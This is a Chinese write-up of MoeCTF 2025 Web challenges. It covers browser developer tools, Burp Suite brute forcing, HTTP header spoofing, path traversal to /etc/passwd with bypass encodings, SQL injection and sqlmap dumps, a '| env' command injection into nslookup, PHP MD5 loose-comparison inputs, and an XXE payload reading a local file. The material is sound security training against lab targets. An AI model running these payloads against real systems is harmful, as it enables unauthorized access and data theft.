本文为 MoeCTF 2025 Web 部分 1~10章题解,附两个 revenge 和一个番外,题目网站为:MoeCTF 2025 - 西电 CTF 终端

第一章、神秘的手镯

知识点:F12开发者工具

题目要求在所给框中填入已知的10000字密码,但是不让粘贴。

不准粘贴,那就开发者工具将10000字密码输入到该替换的地方就行。

image-20251127142707537

image-20251127142751875

第一章(sp)、神秘的手镯_revenge

知识点:Burp Suite 的 Intruder 爆破功能,备份文件

题目提到备份文件wanyanzhou.txt,所以访问/wanyanzhou.txt.bak

下载该文件后,需要输入500次密码。

使用Burp Suite抓包得到以下信息:

image-20251129221818266

在Burp Suite的Intruder模块进行爆破:

image-20251129224732188

image-20251129230625451

Moe笑传之猜猜爆

知识点:控制台,代码审计

题目说仅给一次机会猜数,那必须得先知道数再猜:

image-20251130113036672

F12开发者工具,打开网络栏,发现有一份js代码,提取关键部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function resetGame() {
guessCount = 1;
const resetParas = document.querySelectorAll('.resultParas p');
for(let i = 0; i < resetParas.length; i++) {
resetParas[i].textContent = '';
}
resetButton.parentNode.removeChild(resetButton);

guessField.disabled = false;
guessBtn.disabled = false;
guessField.value = '';
guessField.focus();

lastResult.style.backgroundColor = 'white';

randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
}

在控制台输入randomNumber查看它的值:

image-20251130113226774

直接输入就可以了

image-20251130113254032

第二章、初识金曦玄轨

知识点:Burp Suite 抓包

打开源码,查看到提示

image-20251127142951819

使用burp suite抓到这个/golden_trail的包,可以查看到flag:

image-20251127143242422

第三章、问剑石!篡天改命!

知识点:Burp Suite 的 Repeater 功能

根据题目提示:初始测试将显示天赋:B,光芒:无,你需要施展”篡天改命”之术,修改玄轨中的关键参数,使问剑石显现天赋:S,光芒:流云状青芒(flowing_azure_clouds)的异象,从而获得宗门重视!

直接篡改请求头:

image-20251127143559021

第四章、金曦破禁与七绝傀儡阵

知识点:get,post,put方法,xff,Referer,user-agent,cookie的使用

第一关,直接添加参数:

image-20251127144216292

碎片:bW9lY3RmeOMw

第二关,要求POST传参,

image-20251127150101308

使用指令:

1
curl -X POST -d "declaration=织云阁=第一" http://127.0.0.1:XXXXX/cloud_weaver

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
</head>
<body>
<div class="container">
<div class="header">
<h1 class="title">第二关:织云傀儡</h1>
<p class="subtitle">形似仙鹤,身披流云纹路,双翼带起道道锋利风刃</p>
</div>
<div class="puppet-challenge">
<h2 class="puppet-name"><i class="fas fa-feather-alt"></i> 织云傀儡</h2>
<p class="challenge-desc">
玉板铭文:吾慕织云,欲争魁首。以汝真言,告之宗门:"织云阁=第一"
使用POST方法请求数据:declaration=织云阁=第一
</p>
<div class="result success">
<p><i class="fas fa-check-circle"></i> 织云傀儡欢欣鼓舞,风刃消散!</p>
<div class="flag-piece">获得玉简碎片: bjZyNDd1MTQ3</div>
</div>
<div class="next-level">
<a href="/shadow_stalker">前往第三关:溯源傀儡</a>
</div>
</div>
</div>
</body>

碎片:bjZyNDd1MTQ3

第三关:本地访问,修改X-Forwarded-For

image-20251127150249607

image-20251127150127828

碎片:MTBuNV95MHVy

第四关,修改User Agent:

image-20251127150230972

image-20251127150415022

碎片:X2g3N1BfbDN2

第五关,修改令牌(Cookie):

image-20251127150606726

image-20251127150746348

碎片:M2xfMTVfcjM0

第六关,修改来源:

image-20251127150837667

image-20251127150939652

碎片:bGx5X2gxOWgh

第七关,修改Content-Type和PUT请求:

image-20251127151346946

image-20251127151336729

碎片:fQ==

碎片整合:bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
Base64编码得到:mouctf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

第五章、打上门来

知识点:目录遍历

CTF中有一招在文件目录中穿梭的技法,是什么呢?

在CTF比赛中,目录遍历(Directory Traversal) 是一种常见的技术,攻击者可以通过操控路径参数,访问服务器上未授权的文件或目录。这种技法通常利用../符号返回上一级目录,从而读取敏感文件或获取Flag。
基础目录遍历
目录遍历的核心是通过修改路径参数,访问目标文件。例如:

1
https://example.com/loadImage?filename=../../etc/passwd

上述请求通过../返回上级目录,最终访问到/etc/passwd文件。
常见绕过方法
• 双写绕过:通过重复写入../来绕过简单的过滤规则,例如:

1
//....//etc/passwd

• URL编码绕过:将../进行编码,例如:

1
%2e%2e%2f%2e%2e%2fetc/passwd

• 截断后缀:某些服务器限制文件类型,可以利用%00截断文件后缀,例如:

1
/../etc/passwd%00.jpg

• 绝对路径配合:直接使用绝对路径结合../,例如:

1
/var/www/images/../../etc/passwd

实战案例
在某些CTF题目中,目录遍历可以结合其他漏洞使用。例如:
• 路径穿越结合Cookie欺骗:通过路径遍历获取管理员的Token,伪造Cookie登录。
• 路径穿越结合文件上传:上传恶意脚本文件,并通过路径遍历执行该脚本。
防御措施
为了防止目录遍历漏洞,开发者应采取以下措施:
• 对用户输入进行严格验证,使用白名单限制允许的路径。
• 使用文件系统API规范化路径,并验证路径是否在预期的基本目录下。
• 避免直接将用户输入拼接到文件路径中。
通过这些方法,可以有效防止目录遍历攻击,同时提升系统的安全性。

本题回溯两次就能找到flag

image-20251128112120305 image-20251128112047457

第六章、藏经禁制?玄机初探!

知识点:SQL注入

打开后显示一个登录页面:

image-20251128112401450

直接sql注入,使用万能密码:

image-20251128112438758

第七章、灵蛛探穴与阴阳双生符

知识点:robots.txt,代码审计

本题提示:有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。

这个东西就是robots.txt

image-20251128112649805

image-20251128113108090

打开flag.php后看到如下页面:

image-20251128113204286

直接让a和b变成md5相等但是a、b不相等的情况

在PHP中,!= 是松散比较,会进行类型转换。当比较两个字符串时,如果字符串以科学计数法形式表示(如 “0e123”),PHP会将其转换为数字进行比较。

使用这个示例:

1
2
$a = "240610708";
$b = "QNKCDZO";
image-20251128153420927

附:强相等、弱相等示例:

1
2
3
4
5
6
# 强相等
/?a=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&b=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
# 弱相等
/?a=QNKCDZO
&b=240610708

第八章、天衍真言,星图显圣

知识点:SQL注入,sqlmap使用

方法一、直接SQL注入:

利用UNION,SELECT,FROM读取MySQL数据库内容(以下内容全部填写在“神识印记”中)
1’ UNION SELECT 1,2 #

回显 Welcome 1

1’ union select table_name,2 from information_schema.tables where table_schema=database() #

回显 Welcome flag

1’ union select column_name,2 from information_schema.columns where table_name=’flag’ #

回显 Welcome value

1’ union select value,2 from flag #

回显 Welcome moectf{uN1On-BASEd-5Q11_ftw1115250d0e6}

image-20251129232732449

方法二、使用sqlmap:

输入:

1
python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" --dbs

回显:

1
2
available databases [4]:                                                                                                
[*] information_schema [*] mysql [*] performance_schema [*] user

输入:

1
python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" -D information_schema --tables

回显:(只显示做题有用部分)

1
2
3
4
5
6
Database: user                                                                                               [2 tables]                                                                                                   +----------------------------------------------------+                                                       | flag                                               |                                                       | users                                              |                                                       +----------------------------------------------------+                                                    Database: performance_schema                                                                                 [52 tables]                                                                                               +----------------------------------------------------+                                                    
| hosts |
| accounts |
| cond_instances |
| events_stages_current |
…………………………

输入:

1
python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" -D user -T flag --columns

回显:

1
2
3
4
5
Database: user                                                                                               Table: flag                                                                                                  [1 column]                                                                                               
+--------+-------------+
| Column | Type |
+--------+-------------+
| value | varchar(50) | +--------+-------------+

输入:

1
python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" -D user -T flag -C "value" --dump

回显:

1
Database: user                                                                                               Table: flag                                                                                                 [1 entry]                                                                                                   +-----------------------------------------+                                                                 | value                                   |                                                                 +-----------------------------------------+                                                                 | moectf{uN1On-BASEd-5Q11_ftw1115250d0e6} |                                                                 +-----------------------------------------+

第九章、星墟禁制·天机问路

知识点:命令注入

题目要我们1尝试输入网站,根据回显结果看出来应该有命令注入:

image-20251211083616981

猜测代码(可以印证的确是这个代码)

1
2
3
<?php
$cmd = $_GET['url'];
system("nslookup " . $cmd);

经过尝试,输入 | env 可以得到隐藏flag。( | 可以截断之前的命令)

image-20251211083830115

第十章、天机符阵

知识点:XSS攻击

非预期解:题目说flag在flag.txt中,直接访问就得到结果:

image-20251211084322634

第十章(sp)、天机符阵_revenge

知识点:XSS攻击

正常输入,会报错说你没有输入“<”,要求你输入含“<”的语句:

image-20251211090253615

本体实际上是一个XSS攻击,使用下面的XML外部实体攻击(XXE) 的Payload进行攻击,利用回显的<解析>标签(或者<输出>标签同理):

1
2
3
4
<!DOCTYPE data [  <!-- 定义文档类型,名为data -->
<!ENTITY abc SYSTEM "file:///flag.txt"> <!-- 声明一个名为abc的外部实体,内容来自系统文件flag.txt -->
]>
<解析>&abc;</解析> <!-- 在文档中引用实体abc,会将其内容插入到此处 -->
image-20251211090412053

本文章已完结,后续可能会有部分内容的修改和更新,以保证文章的正确性和逻辑严密性。